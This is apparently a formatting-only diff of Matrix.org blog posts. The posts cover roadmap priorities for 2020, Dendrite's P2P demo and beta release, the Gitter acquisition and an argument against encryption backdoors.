* _Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)_
|
||||
|
||||
Sadly no progress here :(
|
||||
|
||||
* _Alternate use cases for VR, IoT, etc._
|
||||
* _Alternate use cases for VR, IoT, etc._
|
||||
|
||||
...and none here either.
|
||||
|
||||
|
|
@ -197,25 +197,25 @@ Alongside all this, [Mozilla announced](https://matrix.org/blog/2019/12/19/welco
|
|||
|
||||
All that remains now is to make some predictions for 2020. Our main priorities are:
|
||||
|
||||
* Get E2E enabled for private rooms by default (see above).
|
||||
* Get E2E enabled for private rooms by default (see above).
|
||||
|
||||
* Riot First-time User Experience (FTUE). While we redesigned Riot’s UI in 2019, there are still far too many weird gotchas which trip over new users. Starting in October we began a shift to completely change how Riot development works - transitioning the project to being led by the UX design team rather than the dev team, and ensuring that the design team considers the app holistically across all 3 platforms. Above all else, our priority is to make it kick ass for normal non-technical mainstream users - not just for opensourcey wizards. This is a tough ask, but we believe it’s literally make-or-break for the project in the long term if Matrix is ever to become as prevalent as Slack or WhatsApp, and we are throwing everything we have at it. The second that E2E is on by default, the entirety of the Riot teams will be focusing on the mission to clear our [FTUE backlog](https://github.com/vector-im/riot-web/issues?q=is%3Aopen+is%3Aissue+label%3Aproject%3Aftue).
|
||||
* Riot First-time User Experience (FTUE). While we redesigned Riot’s UI in 2019, there are still far too many weird gotchas which trip over new users. Starting in October we began a shift to completely change how Riot development works - transitioning the project to being led by the UX design team rather than the dev team, and ensuring that the design team considers the app holistically across all 3 platforms. Above all else, our priority is to make it kick ass for normal non-technical mainstream users - not just for opensourcey wizards. This is a tough ask, but we believe it’s literally make-or-break for the project in the long term if Matrix is ever to become as prevalent as Slack or WhatsApp, and we are throwing everything we have at it. The second that E2E is on by default, the entirety of the Riot teams will be focusing on the mission to clear our [FTUE backlog](https://github.com/vector-im/riot-web/issues?q=is%3Aopen+is%3Aissue+label%3Aproject%3Aftue).
|
||||
|
||||
* RiotX. We’re shipping RiotX on Android as fast as we can - currently users on Riot/Android are left high and dry and we need to do everything we can to finish RiotX and get them upgraded as rapidly as possible.
|
||||
* RiotX. We’re shipping RiotX on Android as fast as we can - currently users on Riot/Android are left high and dry and we need to do everything we can to finish RiotX and get them upgraded as rapidly as possible.
|
||||
|
||||
* Communities. Off the back of FTUE comes the importance of grouping rooms & users together into communities in a much better way than we have today. This will be up next.
|
||||
* Communities. Off the back of FTUE comes the importance of grouping rooms & users together into communities in a much better way than we have today. This will be up next.
|
||||
|
||||
* Synapse: shard the master by user/room to avoid being it being bottlenecked on CPU. We also need to apply smarter queue management on federation traffic to better reduce the memory footprint (and so eliminate complexity limits on small-footprint hosted servers!) - and we also desperately need to speed up joins.
|
||||
* Synapse: shard the master by user/room to avoid being it being bottlenecked on CPU. We also need to apply smarter queue management on federation traffic to better reduce the memory footprint (and so eliminate complexity limits on small-footprint hosted servers!) - and we also desperately need to speed up joins.
|
||||
|
||||
* Dendrite & P2P Matrix: the plan currently is to use Dendrite as the basis for our P2P Matrix experiments. In practice this means making it federate using [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md)-semantics (no point in wasting time implementing the ‘legacy’ key management), and then experiment with hooking it up to various P2P transports (e.g. our low-bandwidth CoAP transport) and discovery systems (e.g. mDNS; libp2p; etc). How we go about actually getting it into production depends entirely on how well the experiment goes; we could evolve Matrix to be hybrid CS/P2P; we could treat it as a new protocol and bridge to it; who knows. Watch this space...
|
||||
* Dendrite & P2P Matrix: the plan currently is to use Dendrite as the basis for our P2P Matrix experiments. In practice this means making it federate using [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md)-semantics (no point in wasting time implementing the ‘legacy’ key management), and then experiment with hooking it up to various P2P transports (e.g. our low-bandwidth CoAP transport) and discovery systems (e.g. mDNS; libp2p; etc). How we go about actually getting it into production depends entirely on how well the experiment goes; we could evolve Matrix to be hybrid CS/P2P; we could treat it as a new protocol and bridge to it; who knows. Watch this space...
|
||||
|
||||
* MLS: figure out our plan for next-generation E2E - for better scaling, and better reliability, and what (if anything) we should do with [MLS](https://datatracker.ietf.org/wg/mls/charter/).
|
||||
* MLS: figure out our plan for next-generation E2E - for better scaling, and better reliability, and what (if anything) we should do with [MLS](https://datatracker.ietf.org/wg/mls/charter/).
|
||||
|
||||
* Bridges: loads of work on the horizon to put a better UX on Bridging. Bridge stability has improved enormously over the last year (thanks Half-Shot!) but we need to transition from being robust but ugly to being robust and polished...
|
||||
* Bridges: loads of work on the horizon to put a better UX on Bridging. Bridge stability has improved enormously over the last year (thanks Half-Shot!) but we need to transition from being robust but ugly to being robust and polished...
|
||||
|
||||
* Spec: we need to work out how to go faster on reviewing MSCs (both our own and from the wider community). While the governance process in general feels healthier than it’s ever been, empirically we’re not exactly burning through the MSC backlog - and this is in part that MSC work is squeezed in alongside the other dayjob stuff everyone’s working on. Finding the right balance between sculpting spec and sculpting code is tough, but we’re going to try to improve it in 2020.
|
||||
* Spec: we need to work out how to go faster on reviewing MSCs (both our own and from the wider community). While the governance process in general feels healthier than it’s ever been, empirically we’re not exactly burning through the MSC backlog - and this is in part that MSC work is squeezed in alongside the other dayjob stuff everyone’s working on. Finding the right balance between sculpting spec and sculpting code is tough, but we’re going to try to improve it in 2020.
|
||||
|
||||
* Abuse / Reputation: we want to empower users to make their own minds up about what content they want to see and not see on Matrix (or what they want to host or not host on their servers / communities / rooms). [Mjolnir](https://github.com/matrix-org/mjolnir) is a good start, but we’ll be continuing to work on this throughout the year.
|
||||
* Abuse / Reputation: we want to empower users to make their own minds up about what content they want to see and not see on Matrix (or what they want to host or not host on their servers / communities / rooms). [Mjolnir](https://github.com/matrix-org/mjolnir) is a good start, but we’ll be continuing to work on this throughout the year.
|
||||
|
||||
Meanwhile, all the things listed above that we didn’t get to in 2019 are of course still options on the menu too.
|
||||
|
||||
|
|
@ -226,4 +226,3 @@ All told, it’s been a bit of an epic year (both in terms of wins and fails), a
|
|||
Happy holidays!
|
||||
|
||||
Matthew, Amandine & the whole Matrix.org team.
|
||||
|
||||
|
|
|
|||
|
|
@ -14,15 +14,15 @@ At the time we didn’t respond via a blog post; instead we ended up talking it
|
|||
From my perspective, the main points proposed in ‘The ecosystem is moving’ boil down to:
|
||||
|
||||
|
||||
* Decentralised systems are harder to design and build than centralised ones, as coordination is harder if you don’t have a single authority to trust.
|
||||
* Decentralised systems are harder to design and build than centralised ones, as coordination is harder if you don’t have a single authority to trust.
|
||||
|
||||
* Decentralised systems are harder and slower to evolve than centralised ones, as you can’t force participants to rapidly roll out (or even agree on) new features.
|
||||
* Decentralised systems are harder and slower to evolve than centralised ones, as you can’t force participants to rapidly roll out (or even agree on) new features.
|
||||
|
||||
* Users in federated systems tend to coalesce around the best/biggest server that the bulk of people use - which means that server typically gets to see a disproportionate amount of communication metadata (who’s talking to who, and when), and has disproportionate power over the network, which could bully others away from running their own deployments.
|
||||
* Users in federated systems tend to coalesce around the best/biggest server that the bulk of people use - which means that server typically gets to see a disproportionate amount of communication metadata (who’s talking to who, and when), and has disproportionate power over the network, which could bully others away from running their own deployments.
|
||||
|
||||
* If users don’t trust their app provider, they can always go switch apps, which gives them freedom.
|
||||
* If users don’t trust their app provider, they can always go switch apps, which gives them freedom.
|
||||
|
||||
* Open systems are less secure because you have no control over the quality of the implementations - if anyone can bring their own client or server to the table, all it takes is one bad implementation to compromise everyone in the vicinity.
|
||||
* Open systems are less secure because you have no control over the quality of the implementations - if anyone can bring their own client or server to the table, all it takes is one bad implementation to compromise everyone in the vicinity.
|
||||
|
||||
Now, all of these points are valid to some extent.
|
||||
|
||||
|
|
|
|||
|
|
@ -40,7 +40,7 @@ Article is all in some other language - thanks Brendan for providing this summar
|
|||
>
|
||||
> **Merged MSCs:**
|
||||
>
|
||||
> * *No MSCs were merged this week*
|
||||
> * *No MSCs were merged this week*
|
||||
>
|
||||
> **MSCs in Final Comment Period:**
|
||||
>
|
||||
|
|
|
|||
|
|
@ -38,9 +38,9 @@ Today, we’re shipping a major new alpha (v0.1.1) of this P2P demo up at [https
|
|||
|
||||
The main features are:
|
||||
|
||||
* Your conversations are now persisted in your browser storage (via IndexedDB), meaning that as long as all the browsers participating in a given conversation don’t clear their local storage, rooms on the P2P network are here to stay!
|
||||
* Your room directory lists all the aliases for all the rooms published by active nodes on the network. Moreover, we now automatically publish a local room alias whenever you join a public room, so that others will be able to discover that room via you, even if the server who originally created the alias has disappeared.
|
||||
* Lots and lots of federation improvements between the nodes - for instance, when a node comes online, others should now automatically detect and send scrollback to it. Invites should work, and there should no longer be any unexpectedly redacted messages.
|
||||
* Your conversations are now persisted in your browser storage (via IndexedDB), meaning that as long as all the browsers participating in a given conversation don’t clear their local storage, rooms on the P2P network are here to stay!
|
||||
* Your room directory lists all the aliases for all the rooms published by active nodes on the network. Moreover, we now automatically publish a local room alias whenever you join a public room, so that others will be able to discover that room via you, even if the server who originally created the alias has disappeared.
|
||||
* Lots and lots of federation improvements between the nodes - for instance, when a node comes online, others should now automatically detect and send scrollback to it. Invites should work, and there should no longer be any unexpectedly redacted messages.
|
||||
|
||||
Needless to say, all the code for this is open source under the Apache license, and if you’re feeling particularly adventurous you can embed your very own P2P Dendrite into Riot Web by using the Dockerfile at [https://github.com/matrix-org/dendrite/blob/master/build/docker/DendriteJS.Dockerfile](https://github.com/matrix-org/dendrite/blob/master/build/docker/DendriteJS.Dockerfile) or following the instructions at [https://github.com/matrix-org/dendrite/blob/master/docs/p2p.md](https://github.com/matrix-org/dendrite/blob/master/docs/p2p.md).
|
||||
|
||||
|
|
@ -52,12 +52,12 @@ Finally, please understand that the demo is very likely **not** what the final v
|
|||
|
||||
For the current demo, there’s still lots of stuff remaining, including:
|
||||
|
||||
* More federation debugging (and hooking in [tardis](https://github.com/matrix-org/tardis) and writing up everything we’ve learned about implementing federation in Dendrite!)
|
||||
* Making the content repository work in-browser (gotta fill up those IndexedDBs with some GIFs!)
|
||||
* Hooking up E2E Encryption APIs in Dendrite (not that it buys us much in a pure P2P world)
|
||||
* WebRTC transports. Turns out that service workers aren’t allowed to speak WebRTC, so we’ll have to shim through to Riot to speak true peer-to-peer WebRTC data channels rather than relaying all the traffic through the websocket rendezvous server.
|
||||
* Decentralised accounts for multidevice support - reviewing [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) and getting Dendrite supporting multihoming accounts!
|
||||
* Finishing all of Dendrite’s other remaining APIs.
|
||||
* More federation debugging (and hooking in [tardis](https://github.com/matrix-org/tardis) and writing up everything we’ve learned about implementing federation in Dendrite!)
|
||||
* Making the content repository work in-browser (gotta fill up those IndexedDBs with some GIFs!)
|
||||
* Hooking up E2E Encryption APIs in Dendrite (not that it buys us much in a pure P2P world)
|
||||
* WebRTC transports. Turns out that service workers aren’t allowed to speak WebRTC, so we’ll have to shim through to Riot to speak true peer-to-peer WebRTC data channels rather than relaying all the traffic through the websocket rendezvous server.
|
||||
* Decentralised accounts for multidevice support - reviewing [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) and getting Dendrite supporting multihoming accounts!
|
||||
* Finishing all of Dendrite’s other remaining APIs.
|
||||
|
||||
Beyond this, there are some bigger picture questions left to be answered in future experiments.
|
||||
|
||||
|
|
|
|||
|
|
@ -301,9 +301,9 @@ This is forked from FluffyChat:
|
|||
>
|
||||
> Hey all! I built yet another bot library. matrixbz was built with the intention of making it easy to draft matrix bots. Check out the [github](https://github.com/decentralabs/matrixbz) - I've added some examples where you can build a bot in ~10 lines of python code. matrixbz features:
|
||||
>
|
||||
> * **Auth** - you can specify user(s) who are authorized to call commands. bot only accepts invites from those users.
|
||||
> * **Auth** - you can specify user(s) who are authorized to call commands. bot only accepts invites from those users.
|
||||
>
|
||||
> * **Cache** - you can cache results for particular command invocations.
|
||||
> * **Cache** - you can cache results for particular command invocations.
|
||||
>
|
||||
> Check out the [package](https://pypi.org/project/matrixbz/).
|
||||
|
||||
|
|
|
|||
|
|
@ -359,8 +359,8 @@ We are always fixing bugs!
|
|||
|
||||
> This week, we made 2 release candidates available through [TestFlight](https://testflight.apple.com/join/lCeTuDKM). New features are :
|
||||
>
|
||||
> - app access protection with PIN code, TouchID or FaceID
|
||||
> - the come back of the incoming native call screen
|
||||
> - app access protection with PIN code, TouchID or FaceID
|
||||
> - the come back of the incoming native call screen
|
||||
>
|
||||
> A huge thanks to the community for the feedbacks. It helped us to discover issues like a crash in background due to PushKit. The coming TF (1.0.7) should fix all of them
|
||||
|
||||
|
|
|
|||
|
|
@ -36,14 +36,14 @@ This will of course replace the old and creaky [matrix-appservice-gitter](https:
|
|||
|
||||
Now we come to the interesting bit. Gitter has some *really* nice features which are sorely lacking in Element today:
|
||||
|
||||
* Instant live room peeking (less than a second to load the webapp into a live-view of a massive room with 20K users!!)
|
||||
* Seamless onboarding thanks to using GitLab & GitHub for accounts
|
||||
* Curated hierarchical room directory
|
||||
* Magical creation of rooms on demand for every GitLab and GitHub project ever
|
||||
* GitLab/GitHub activity as a first-class citizen in a room’s side-panel
|
||||
* Excellent search-engine-friendly static content and archives
|
||||
* KaTeX support for Maths communities
|
||||
* Threads!
|
||||
* Instant live room peeking (less than a second to load the webapp into a live-view of a massive room with 20K users!!)
|
||||
* Seamless onboarding thanks to using GitLab & GitHub for accounts
|
||||
* Curated hierarchical room directory
|
||||
* Magical creation of rooms on demand for every GitLab and GitHub project ever
|
||||
* GitLab/GitHub activity as a first-class citizen in a room’s side-panel
|
||||
* Excellent search-engine-friendly static content and archives
|
||||
* KaTeX support for Maths communities
|
||||
* Threads!
|
||||
|
||||
...and we promise to do everything in our power to preserve and honour these features at all costs and continue to give the Gitter community the experience they’ve come to know and love.
|
||||
|
||||
|
|
@ -51,14 +51,14 @@ Now we come to the interesting bit. Gitter has some *really* nice features which
|
|||
|
||||
In practice, the main outcome in the end should be Element having benefited massively from levelling up with Gitter - and Gitter benefiting massively from all the goodies which Element and Matrix brings, including:
|
||||
|
||||
* E2E Encryption
|
||||
* Reactions
|
||||
* Constantly improving native iOS & Android clients (which should be a welcome alternative to Gitter’s natives ones, which are [already being deprecated](https://gitlab.com/gitlab-org/gitter/webapp/-/issues/2281))
|
||||
* VoIP and conferencing
|
||||
* All the alternative clients, bots, bridges and servers in Matrix
|
||||
* The full open standard Matrix API
|
||||
* Widgets (embedding webapps into rooms!)
|
||||
* ...and of course participation in the wider decentralised Matrix network.
|
||||
* E2E Encryption
|
||||
* Reactions
|
||||
* Constantly improving native iOS & Android clients (which should be a welcome alternative to Gitter’s natives ones, which are [already being deprecated](https://gitlab.com/gitlab-org/gitter/webapp/-/issues/2281))
|
||||
* VoIP and conferencing
|
||||
* All the alternative clients, bots, bridges and servers in Matrix
|
||||
* The full open standard Matrix API
|
||||
* Widgets (embedding webapps into rooms!)
|
||||
* ...and of course participation in the wider decentralised Matrix network.
|
||||
|
||||
So, there you have it. It’s a new era for Gitter - and we look forward to reinvigorating Gitter’s communities over the coming months. We hope Gitter users will be blown away by the features arriving from Matrix… and we hope that Element users will be ecstatic with the performance and polish work that Gitter-parity will drive us towards. Imagine having guest access in Element that can launch and load a massive room in less than a second!
|
||||
|
||||
|
|
|
|||
|
|
@ -22,9 +22,9 @@ However, as the project started to progress, it became clear that this was going
|
|||
|
||||
So, towards the end of 2016 (after the rush to launch ~~Vector~~ ~~Riot~~ Element that summer), we went back to the drawing board to devise Dendrite—“Dendron done right!”—as opposed to Dendron, which in retrospect was Dendrite done wrong. ;) The new vision was:
|
||||
|
||||
* Build a massively horizontally scalable architecture, such that large Matrix deployments like matrix.org and big government deployments could run smoothly without the constant scalability headaches we were seeing at the time with Synapse
|
||||
* Do so by splitting the server into well-defined microservice components, each of which could independently horizontally scale, each with its own DB (if desired)
|
||||
* Connect the components together with a set of append-only logs via [Kafka](https://kafka.apache.org/) or similar, easily letting components shard and maintain their databases from the logs, allowing rolling upgrades, possibly schema upgrades, and all sorts of other niceties. The logs effectively become a primary source of truth rather than putting all the onus on a massive monolithic ever-growing database
|
||||
* Build a massively horizontally scalable architecture, such that large Matrix deployments like matrix.org and big government deployments could run smoothly without the constant scalability headaches we were seeing at the time with Synapse
|
||||
* Do so by splitting the server into well-defined microservice components, each of which could independently horizontally scale, each with its own DB (if desired)
|
||||
* Connect the components together with a set of append-only logs via [Kafka](https://kafka.apache.org/) or similar, easily letting components shard and maintain their databases from the logs, allowing rolling upgrades, possibly schema upgrades, and all sorts of other niceties. The logs effectively become a primary source of truth rather than putting all the onus on a massive monolithic ever-growing database
|
||||
|
||||
Rather than Dendron’s top-down approach, instead Dendrite started bottom-up with the very hardest bit: [gomatrixserverlib](https://github.com/matrix-org/gomatrixserverlib), a standalone Go library implementing the state resolution algorithms and performing federation requests (such that it might also someday be used as a general purpose way to add Matrix federation support to an existing Go codebase).
|
||||
|
||||
|
|
@ -36,9 +36,9 @@ Things were looking pretty positive by the summer of 2017: we had the server sen
|
|||
|
||||
However, we then hit three fairly major obstacles:
|
||||
|
||||
* [Matrix lost its funding](https://matrix.org/blog/2017/07/07/a-call-to-arms-supporting-matrix)
|
||||
* In the ensuing uncertainty, the two lead developers (Mjark & Kegan) went to work elsewhere
|
||||
* Meanwhile, Matrix uptake was starting to explode and Synapse was failing to scale to handle the traffic on matrix.org (and elsewhere)
|
||||
* [Matrix lost its funding](https://matrix.org/blog/2017/07/07/a-call-to-arms-supporting-matrix)
|
||||
* In the ensuing uncertainty, the two lead developers (Mjark & Kegan) went to work elsewhere
|
||||
* Meanwhile, Matrix uptake was starting to explode and Synapse was failing to scale to handle the traffic on matrix.org (and elsewhere)
|
||||
|
||||
At first, having formed what would become New Vector (now Element) to keep the rest of the core team hired, we pushed to see if we could get Dendrite finished fast enough to replace Synapse, with Erik & richvdh jumping over from Synapse to pick up the remaining work. However, it became clear that we urgently needed a quicker solution to address all the overloaded Synapses out there, and so they swung back to focus on improving Synapse (taking inspiration from some of the design of Dendrite - e.g. offloading endpoints onto worker processes connected via replication streams, and using [OpenTracing](https://opentracing.io/) to debug traffic as it flows over the various services).
|
||||
|
||||
|
|
@ -56,24 +56,24 @@ Here’s a pretty picture courtesy of GitHub to visualise the progress:
|
|||
|
||||
Throughout 2020 there’s been a huge amount of stabilisation work and polish:
|
||||
|
||||
* Refactoring much of Dendrite’s foundation to make the codebase more maintainable
|
||||
* Created all-new user server, key server, signing key server microservices
|
||||
* Moving some work from existing microservices (ultimately superseding the former currentstateserver, publicroomsapi and typingserver microservices altogether)
|
||||
* Developing new testing infrastructure:
|
||||
* [Complement](https://github.com/matrix-org/complement) - our brand new Golang Matrix integration test harness
|
||||
* [Are We Synapse Yet](https://github.com/matrix-org/dendrite/blob/master/are-we-synapse-yet.py) - an aggregator which parses sytest/complement output to compare how close Dendrite is to passing
|
||||
* All the Matrix 1.0 work - particularly state res v2 & room version support
|
||||
* Making it work with more P2P transports for [all the exciting P2P experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/)
|
||||
* Supporting backfill and fetching missing events
|
||||
* Fixing up SQLite support to make it work as a first class citizen (with shared storage code where we can!)
|
||||
* Supporting both sending and rejecting invites (even over federation)
|
||||
* E2E encryption support (one-time keys, device lists, send-to-device support)
|
||||
* Improved federation sender logic (resend retries, backoffs, blacklisting, metrics, resetting backoffs when receiving transactions)
|
||||
* Handling both inbound and outbound redactions
|
||||
* User interactive authentication (and implemented on various ‘sudo’ endpoints e.g. deleting devices and changing passwords)
|
||||
* Respecting server ACLs
|
||||
* Rejecting / soft-failing events properly
|
||||
* Support for database schema upgrades
|
||||
* Refactoring much of Dendrite’s foundation to make the codebase more maintainable
|
||||
* Created all-new user server, key server, signing key server microservices
|
||||
* Moving some work from existing microservices (ultimately superseding the former currentstateserver, publicroomsapi and typingserver microservices altogether)
|
||||
* Developing new testing infrastructure:
|
||||
* [Complement](https://github.com/matrix-org/complement) - our brand new Golang Matrix integration test harness
|
||||
* [Are We Synapse Yet](https://github.com/matrix-org/dendrite/blob/master/are-we-synapse-yet.py) - an aggregator which parses sytest/complement output to compare how close Dendrite is to passing
|
||||
* All the Matrix 1.0 work - particularly state res v2 & room version support
|
||||
* Making it work with more P2P transports for [all the exciting P2P experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/)
|
||||
* Supporting backfill and fetching missing events
|
||||
* Fixing up SQLite support to make it work as a first class citizen (with shared storage code where we can!)
|
||||
* Supporting both sending and rejecting invites (even over federation)
|
||||
* E2E encryption support (one-time keys, device lists, send-to-device support)
|
||||
* Improved federation sender logic (resend retries, backoffs, blacklisting, metrics, resetting backoffs when receiving transactions)
|
||||
* Handling both inbound and outbound redactions
|
||||
* User interactive authentication (and implemented on various ‘sudo’ endpoints e.g. deleting devices and changing passwords)
|
||||
* Respecting server ACLs
|
||||
* Rejecting / soft-failing events properly
|
||||
* Support for database schema upgrades
|
||||
|
||||
... which brings us at last to the present day (Oct 2020), as we declare Dendrite sufficiently stable that we consider it ready for beta testing!
|
||||
|
||||
|
|
@ -81,31 +81,31 @@ In practice, this means **Dendrite is now ready for experimentation by adventuro
|
|||
|
||||
That said, we do provide the following guarantees:
|
||||
|
||||
* We’re providing versioned releases from here on in, beginning with [0.1.0](https://github.com/matrix-org/dendrite/releases/tag/v0.1.0)
|
||||
* We don’t expect any major breaking changes to the config or architecture before 1.0
|
||||
* Ready for early adopters to try running Dendrite without experiencing ~daily breaking churn
|
||||
* The database schema is now stable and will upgrade itself going forwards - your database should now be here to stay! (assuming we don’t hit any nasty data loss bugs during beta)
|
||||
* We’re providing versioned releases from here on in, beginning with [0.1.0](https://github.com/matrix-org/dendrite/releases/tag/v0.1.0)
|
||||
* We don’t expect any major breaking changes to the config or architecture before 1.0
|
||||
* Ready for early adopters to try running Dendrite without experiencing ~daily breaking churn
|
||||
* The database schema is now stable and will upgrade itself going forwards - your database should now be here to stay! (assuming we don’t hit any nasty data loss bugs during beta)
|
||||
|
||||
In terms of comparison with Synapse, the main things you should get excited about are:
|
||||
|
||||
* Dendrite aims to provide an **efficient**, **reliable** and **scalable** alternative to Synapse:
|
||||
* Efficient: A small memory footprint with better baseline performance than an out-of-the-box Synapse
|
||||
* Reliable: Implements the Matrix specification as written, using the [same test suite](https://github.com/matrix-org/sytest) as Synapse as well as a [brand new Go test suite](https://github.com/matrix-org/complement)
|
||||
* Scalable: can run on multiple machines and eventually scale to massive homeserver deployments
|
||||
* This means significantly less memory usage than Synapse (depends on joined rooms, often between 50MB - 400MB resident memory) - although we haven’t tuned this at all yet!
|
||||
* All-new database model, where every microservice instance has its own database tables, letting them scale arbitrarily wide
|
||||
* The ability to efficiently use all your available CPU cores without needing to split into separate processes, thanks to Go and our extensive use of goroutines. No more Python global interpreter lock! :)
|
||||
* Future experimental MSCs are likely to land in Dendrite before Synapse (e.g [MSC2753 Peeking via /sync](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2753/proposals/2753-peeking-via-sync-v2.md) and [MSC2444 Peeking over Federation](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2444/proposals/2444-peeking-over-federation-peek-api.md) are already being prototyped ([#1370](https://github.com/matrix-org/dendrite/pull/1370) and [#1391](https://github.com/matrix-org/dendrite/pull/1391)) in Dendrite rather than Synapse!)
|
||||
* Dendrite aims to provide an **efficient**, **reliable** and **scalable** alternative to Synapse:
|
||||
* Efficient: A small memory footprint with better baseline performance than an out-of-the-box Synapse
|
||||
* Reliable: Implements the Matrix specification as written, using the [same test suite](https://github.com/matrix-org/sytest) as Synapse as well as a [brand new Go test suite](https://github.com/matrix-org/complement)
|
||||
* Scalable: can run on multiple machines and eventually scale to massive homeserver deployments
|
||||
* This means significantly less memory usage than Synapse (depends on joined rooms, often between 50MB - 400MB resident memory) - although we haven’t tuned this at all yet!
|
||||
* All-new database model, where every microservice instance has its own database tables, letting them scale arbitrarily wide
|
||||
* The ability to efficiently use all your available CPU cores without needing to split into separate processes, thanks to Go and our extensive use of goroutines. No more Python global interpreter lock! :)
|
||||
* Future experimental MSCs are likely to land in Dendrite before Synapse (e.g [MSC2753 Peeking via /sync](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2753/proposals/2753-peeking-via-sync-v2.md) and [MSC2444 Peeking over Federation](https://github.com/matrix-org/matrix-doc/blob/matthew/msc2444/proposals/2444-peeking-over-federation-peek-api.md) are already being prototyped ([#1370](https://github.com/matrix-org/dendrite/pull/1370) and [#1391](https://github.com/matrix-org/dendrite/pull/1391)) in Dendrite rather than Synapse!)
|
||||
|
||||
The provisos you should know about however are:
|
||||
|
||||
* We’re not feature complete yet: sytest reports 56% CS API coverage and 77% Federation coverage. **NB: these are always going to be underestimates of how much Dendrite actually performs due to how the tests are spread out, in actuality it’s likely more 70% CS, 95% Fed.**
|
||||
* No read receipts, membership lazy-loading, presence, push notifications, search, event context, key backups, cross-signing. See changelog for full limitations.
|
||||
* Not battle-tested in the wild by many people (there are probably only ~10 dendrites on the open network today!) - so there’s likely to be a broad spectrum of bugs at first.
|
||||
* Clients that require more exotic features, like lazy loading, may not behave properly yet
|
||||
* Please **use Postgres rather than SQLite wherever possible**—it’s faster and has fewer issues regarding concurrency (some requests on SQLite Dendrites may 500 with ‘database is locked’ - though we’ve worked hard to eliminate most of these)
|
||||
* Dendrite can run in either “monolith” or “polylith” mode. In monolith, all the microservices are linked into a single binary - and **we recommend running in this configuration wherever possible** for now. Monolith mode is _extremely_ capable as it is and has fewer moving parts for things to go wrong and will be the right choice for the majority of beta deployments!
|
||||
* Whilst Dendrite is nearly 100% federation compatible, there may still be situations where it will split-brain and disagree with the current room state that Synapse has calculated. We expect these issues to resolve as we get more user feedback.
|
||||
* We’re not feature complete yet: sytest reports 56% CS API coverage and 77% Federation coverage. **NB: these are always going to be underestimates of how much Dendrite actually performs due to how the tests are spread out, in actuality it’s likely more 70% CS, 95% Fed.**
|
||||
* No read receipts, membership lazy-loading, presence, push notifications, search, event context, key backups, cross-signing. See changelog for full limitations.
|
||||
* Not battle-tested in the wild by many people (there are probably only ~10 dendrites on the open network today!) - so there’s likely to be a broad spectrum of bugs at first.
|
||||
* Clients that require more exotic features, like lazy loading, may not behave properly yet
|
||||
* Please **use Postgres rather than SQLite wherever possible**—it’s faster and has fewer issues regarding concurrency (some requests on SQLite Dendrites may 500 with ‘database is locked’ - though we’ve worked hard to eliminate most of these)
|
||||
* Dendrite can run in either “monolith” or “polylith” mode. In monolith, all the microservices are linked into a single binary - and **we recommend running in this configuration wherever possible** for now. Monolith mode is _extremely_ capable as it is and has fewer moving parts for things to go wrong and will be the right choice for the majority of beta deployments!
|
||||
* Whilst Dendrite is nearly 100% federation compatible, there may still be situations where it will split-brain and disagree with the current room state that Synapse has calculated. We expect these issues to resolve as we get more user feedback.
|
||||
|
||||
Architecture-wise, this is what Dendrite looks like under the hood today:
|
||||
|
||||
|
|
@ -115,13 +115,13 @@ To get up and running, please install Go and head on over to the Get Started gui
|
|||
|
||||
In terms of where we’re going next:
|
||||
|
||||
* Read receipts. It’s a major missing feature and impacts UX significantly.
|
||||
* 100% Federation coverage (according to sytest). It’s crucial that Dendrite instances play nicely with other servers. This will be the best metric we have for asserting that we are just as capable as Synapse at the fed level.
|
||||
* Optimisation—**Dendrite has not been optimised yet for speed or resource utilisation!**
|
||||
* We plan to add benchmarks which will stress test different microservices in the presence of many different scaling factors (number of users, number of rooms, size of room, number of devices per user, number of sync requests, etc). This will hopefully allow us to identify early on bottlenecks and slow algorithms
|
||||
* Good old fashioned pprof with known slow scenarios to see what’s consuming CPU/memory and fixing issues ad-hoc (which we’ve already done a bit of pre-beta). This may involve adding additional in-memory caches, with a healthy respect for the complexities it may introduce (which Synapse has been bitten by)
|
||||
* We plan to add first class feature flag support for experimental MSCs—experimentation is one thing which makes Dendrite notably different from Synapse, and supporting it more thoroughly going forwards will be important. This may mean adding additional hooks; potentially a dedicated microservice to cleanly separate experiments, we don’t know yet
|
||||
* P2P work will continue with vigour now we have a working, featureful, and relatively stable HS to embed and play with
|
||||
* Read receipts. It’s a major missing feature and impacts UX significantly.
|
||||
* 100% Federation coverage (according to sytest). It’s crucial that Dendrite instances play nicely with other servers. This will be the best metric we have for asserting that we are just as capable as Synapse at the fed level.
|
||||
* Optimisation—**Dendrite has not been optimised yet for speed or resource utilisation!**
|
||||
* We plan to add benchmarks which will stress test different microservices in the presence of many different scaling factors (number of users, number of rooms, size of room, number of devices per user, number of sync requests, etc). This will hopefully allow us to identify early on bottlenecks and slow algorithms
|
||||
* Good old fashioned pprof with known slow scenarios to see what’s consuming CPU/memory and fixing issues ad-hoc (which we’ve already done a bit of pre-beta). This may involve adding additional in-memory caches, with a healthy respect for the complexities it may introduce (which Synapse has been bitten by)
|
||||
* We plan to add first class feature flag support for experimental MSCs—experimentation is one thing which makes Dendrite notably different from Synapse, and supporting it more thoroughly going forwards will be important. This may mean adding additional hooks; potentially a dedicated microservice to cleanly separate experiments, we don’t know yet
|
||||
* P2P work will continue with vigour now we have a working, featureful, and relatively stable HS to embed and play with
|
||||
|
||||
Longer term, it’s pretty hard to say right now when we expect to exit beta (it took Synapse 5 years to exit beta, after all ;) - but obviously we’ll need Dendrite to have parity with Synapse and have no known serious bugs.
|
||||
|
||||
|
|
|
|||
|
|
@ -39,13 +39,13 @@ In other words, this is an explicit request from seven of the biggest government
|
|||
|
||||
Now, we sympathise with the authorities’ predicament here: we utterly abhor child abuse, terrorism, fascism and similar - and we did not build Matrix to enable it. However, trying to mitigate abuse with backdoors is, unfortunately, **fundamentally flawed**.
|
||||
|
||||
